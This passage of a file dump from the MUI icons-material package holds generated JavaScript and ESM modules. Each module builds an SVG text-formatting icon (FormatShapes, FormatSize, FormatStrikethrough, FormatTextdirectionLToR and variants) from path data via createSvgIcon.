    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.62 16h.76L19 12.76V8h-4v4h3.62zm-10 0h.76L9 12.76V8H5v4h3.62z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.62 18 21 13.24V6h-8v8h2.38l-2 4zM15 12V8h4v4.76L17.38 16h-.76l2-4zM3.38 18h5.24L11 13.24V6H3v8h2.38zM5 12V8h4v4.76L7.38 16h-.76l2-4z\"\n}, \"1\")], 'FormatQuoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatQuoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.62 16h.76L19 12.76V8h-4v4h3.62zm-10 0h.76L9 12.76V8H5v4h3.62z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.62 18 21 13.24V6h-8v8h2.38l-2 4zM15 12V8h4v4.76L17.38 16h-.76l2-4zM3.38 18h5.24L11 13.24V6H3v8h2.38zM5 12V8h4v4.76L7.38 16h-.76l2-4z\"\n}, \"1\")], 'FormatQuoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapes.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 7V1h-6v2H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7zM3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-2H5V7h2V5h10v2h2v10h-2zm4 2h-2v-2h2zM19 5V3h2v2zm-5.27 9h-3.49l-.73 2H7.89l3.4-9h1.4l3.41 9h-1.63zm-3.04-1.26h2.61L12 8.91z\"\n}), 'FormatShapes');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapes.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 7V1h-6v2H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7zM3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-2H5V7h2V5h10v2h2v10h-2zm4 2h-2v-2h2zM19 5V3h2v2zm-5.27 9h-3.49l-.73 2H7.89l3.4-9h1.4l3.41 9h-1.63zm-3.04-1.26h2.61L12 8.91z\"\n}), 'FormatShapes');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 7V1h-6v2H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7zM3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-2H5V7h2V5h10v2h2v10h-2zm4 2h-2v-2h2zM19 5V3h2v2zm-5.27 9h-3.49l-.73 2H7.89l3.4-9h1.4l3.41 9h-1.63zm-3.04-1.26h2.61L12 8.91z\"\n}), 'FormatShapesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 7V1h-6v2H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7zM3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-2H5V7h2V5h10v2h2v10h-2zm4 2h-2v-2h2zM19 5V3h2v2zm-5.27 9h-3.49l-.73 2H7.89l3.4-9h1.4l3.41 9h-1.63zm-3.04-1.26h2.61L12 8.91z\"\n}), 'FormatShapesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 6V2c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v1H7V2c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h1v10H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1h10v1c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-1V7h1c.55 0 1-.45 1-1M3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-1c0-.55-.45-1-1-1H5V7h1c.55 0 1-.45 1-1V5h10v1c0 .55.45 1 1 1h1v10h-1c-.55 0-1 .45-1 1zm4 2h-2v-2h2zM19 5V3h2v2zm-6.06 2.65c-.15-.39-.53-.65-.95-.65s-.8.26-.94.65l-2.77 7.33c-.19.49.17 1.02.7 1.02.32 0 .6-.2.71-.5l.55-1.5h3.49l.56 1.51c.11.29.39.49.71.49h.01c.53 0 .89-.53.71-1.02zm-2.25 5.09L12 8.91l1.3 3.83z\"\n}), 'FormatShapesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 6V2c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v1H7V2c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h1v10H2c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-1h10v1c0 .55.45 1 1 1h4c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1h-1V7h1c.55 0 1-.45 1-1M3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-1c0-.55-.45-1-1-1H5V7h1c.55 0 1-.45 1-1V5h10v1c0 .55.45 1 1 1h1v10h-1c-.55 0-1 .45-1 1zm4 2h-2v-2h2zM19 5V3h2v2zm-6.06 2.65c-.15-.39-.53-.65-.95-.65s-.8.26-.94.65l-2.77 7.33c-.19.49.17 1.02.7 1.02.32 0 .6-.2.71-.5l.55-1.5h3.49l.56 1.51c.11.29.39.49.71.49h.01c.53 0 .89-.53.71-1.02zm-2.25 5.09L12 8.91l1.3 3.83z\"\n}), 'FormatShapesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 7V1h-6v2H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7zM3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-2H5V7h2V5h10v2h2v10h-2zm4 2h-2v-2h2zM19 5V3h2v2zm-5.27 9h-3.49l-.73 2H7.89l3.4-9h1.4l3.41 9h-1.63zm-3.04-1.26h2.61L12 8.91z\"\n}), 'FormatShapesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 7V1h-6v2H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7zM3 3h2v2H3zm2 18H3v-2h2zm12-2H7v-2H5V7h2V5h10v2h2v10h-2zm4 2h-2v-2h2zM19 5V3h2v2zm-5.27 9h-3.49l-.73 2H7.89l3.4-9h1.4l3.41 9h-1.63zm-3.04-1.26h2.61L12 8.91z\"\n}), 'FormatShapesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3h2v2H3zm16 16h2v2h-2zm0-16h2v2h-2zM3 19h2v2H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.29 7-3.4 9h1.62l.73-2h3.49l.74 2h1.63l-3.41-9zm-.6 5.74L12 8.91l1.3 3.83zM17 3H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7h2V1h-6zM3 3h2v2H3zm2 18H3v-2h2zm16 0h-2v-2h2zM19 3h2v2h-2zm0 14h-2v2H7v-2H5V7h2V5h10v2h2z\"\n}, \"1\")], 'FormatShapesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatShapesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h2v2H3zm16 16h2v2h-2zm0-16h2v2h-2zM3 19h2v2H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.29 7-3.4 9h1.62l.73-2h3.49l.74 2h1.63l-3.41-9zm-.6 5.74L12 8.91l1.3 3.83zM17 3H7V1H1v6h2v10H1v6h6v-2h10v2h6v-6h-2V7h2V1h-6zM3 3h2v2H3zm2 18H3v-2h2zm16 0h-2v-2h2zM19 3h2v2h-2zm0 14h-2v2H7v-2H5V7h2V5h10v2h2z\"\n}, \"1\")], 'FormatShapesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSize.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v3h5v12h3V7h5V4zm-6 8h3v7h3v-7h3V9H3z\"\n}), 'FormatSize');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSize.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v3h5v12h3V7h5V4zm-6 8h3v7h3v-7h3V9H3z\"\n}), 'FormatSize');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v3h5v12h3V7h5V4zm-6 8h3v7h3v-7h3V9H3z\"\n}), 'FormatSizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v3h5v12h3V7h5V4zm-6 8h3v7h3v-7h3V9H3z\"\n}), 'FormatSizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5.5c0 .83.67 1.5 1.5 1.5H14v10.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V7h3.5c.83 0 1.5-.67 1.5-1.5S21.33 4 20.5 4h-10C9.67 4 9 4.67 9 5.5M4.5 12H6v5.5c0 .83.67 1.5 1.5 1.5S9 18.33 9 17.5V12h1.5c.83 0 1.5-.67 1.5-1.5S11.33 9 10.5 9h-6C3.67 9 3 9.67 3 10.5S3.67 12 4.5 12\"\n}), 'FormatSizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5.5c0 .83.67 1.5 1.5 1.5H14v10.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V7h3.5c.83 0 1.5-.67 1.5-1.5S21.33 4 20.5 4h-10C9.67 4 9 4.67 9 5.5M4.5 12H6v5.5c0 .83.67 1.5 1.5 1.5S9 18.33 9 17.5V12h1.5c.83 0 1.5-.67 1.5-1.5S11.33 9 10.5 9h-6C3.67 9 3 9.67 3 10.5S3.67 12 4.5 12\"\n}), 'FormatSizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v3h5v12h3V7h5V4zm-6 8h3v7h3v-7h3V9H3z\"\n}), 'FormatSizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v3h5v12h3V7h5V4zm-6 8h3v7h3v-7h3V9H3z\"\n}), 'FormatSizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12h3v7h3v-7h3V9H3zm6-5h5v12h3V7h5V4H9z\"\n}), 'FormatSizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatSizeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12h3v7h3v-7h3V9H3zm6-5h5v12h3V7h5V4H9z\"\n}), 'FormatSizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethrough.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19h4v-3h-4zM5 4v3h5v3h4V7h5V4zM3 14h18v-2H3z\"\n}), 'FormatStrikethrough');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethrough.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19h4v-3h-4zM5 4v3h5v3h4V7h5V4zM3 14h18v-2H3z\"\n}), 'FormatStrikethrough');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19h4v-3h-4zM5 4v3h5v3h4V7h5V4zM3 14h18v-2H3z\"\n}), 'FormatStrikethroughOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19h4v-3h-4zM5 4v3h5v3h4V7h5V4zM3 14h18v-2H3z\"\n}), 'FormatStrikethroughOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c1.1 0 2-.9 2-2v-1h-4v1c0 1.1.9 2 2 2M5 5.5C5 6.33 5.67 7 6.5 7H10v3h4V7h3.5c.83 0 1.5-.67 1.5-1.5S18.33 4 17.5 4h-11C5.67 4 5 4.67 5 5.5M4 14h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FormatStrikethroughRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c1.1 0 2-.9 2-2v-1h-4v1c0 1.1.9 2 2 2M5 5.5C5 6.33 5.67 7 6.5 7H10v3h4V7h3.5c.83 0 1.5-.67 1.5-1.5S18.33 4 17.5 4h-11C5.67 4 5 4.67 5 5.5M4 14h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'FormatStrikethroughRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 19h4v-3h-4zM5 4v3h5v3h4V7h5V4zM3 14h18v-2H3z\"\n}), 'FormatStrikethroughSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 19h4v-3h-4zM5 4v3h5v3h4V7h5V4zM3 14h18v-2H3z\"\n}), 'FormatStrikethroughSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12h18v2H3zm11-2V7h5V4H5v3h5v3zm-4 6h4v3h-4z\"\n}), 'FormatStrikethroughTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatStrikethroughTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12h18v2H3zm11-2V7h5V4H5v3h5v3zm-4 6h4v3h-4z\"\n}), 'FormatStrikethroughTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToR.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 10v5h2V4h2v11h2V4h2V2H9C6.79 2 5 3.79 5 6s1.79 4 4 4m12 8-4-4v3H5v2h12v3z\"\n}), 'FormatTextdirectionLToR');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToR.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 10v5h2V4h2v11h2V4h2V2H9C6.79 2 5 3.79 5 6s1.79 4 4 4m12 8-4-4v3H5v2h12v3z\"\n}), 'FormatTextdirectionLToR');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToROutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4v4c-1.1 0-2-.9-2-2s.9-2 2-2m8-2H9C6.79 2 5 3.79 5 6s1.79 4 4 4v5h2V4h2v11h2V4h2zm0 12v3H5v2h12v3l4-4z\"\n}), 'FormatTextdirectionLToROutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToROutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4v4c-1.1 0-2-.9-2-2s.9-2 2-2m8-2H9C6.79 2 5 3.79 5 6s1.79 4 4 4v5h2V4h2v11h2V4h2zm0 12v3H5v2h12v3l4-4z\"\n}), 'FormatTextdirectionLToROutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToRRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 10v4c0 .55.45 1 1 1s1-.45 1-1V4h2v10c0 .55.45 1 1 1s1-.45 1-1V4h1c.55 0 1-.45 1-1s-.45-1-1-1H9.17C7.08 2 5.22 3.53 5.02 5.61 4.79 7.99 6.66 10 9 10m11.65 7.65-2.79-2.79c-.32-.32-.86-.1-.86.35V17H6c-.55 0-1 .45-1 1s.45 1 1 1h11v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'FormatTextdirectionLToRRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToRRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 10v4c0 .55.45 1 1 1s1-.45 1-1V4h2v10c0 .55.45 1 1 1s1-.45 1-1V4h1c.55 0 1-.45 1-1s-.45-1-1-1H9.17C7.08 2 5.22 3.53 5.02 5.61 4.79 7.99 6.66 10 9 10m11.65 7.65-2.79-2.79c-.32-.32-.86-.1-.86.35V17H6c-.55 0-1 .45-1 1s.45 1 1 1h11v1.79c0 .45.54.67.85.35l2.79-2.79c.2-.19.2-.51.01-.7\"\n}), 'FormatTextdirectionLToRRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FormatTextdirectionLToRSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 10v5h2V4h2v11h2V4h2V2H9C6.79 2 5 3.79 5 6s1.79 4 4 4m12 8-4-4v3H5v2h12v3z\"\n}), 'FormatTextdirectionLToRSharp');"
  },
  {
